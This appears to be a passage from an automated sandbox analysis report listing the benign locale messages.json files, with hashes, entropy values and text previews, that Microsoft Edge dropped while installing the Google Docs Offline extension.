C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
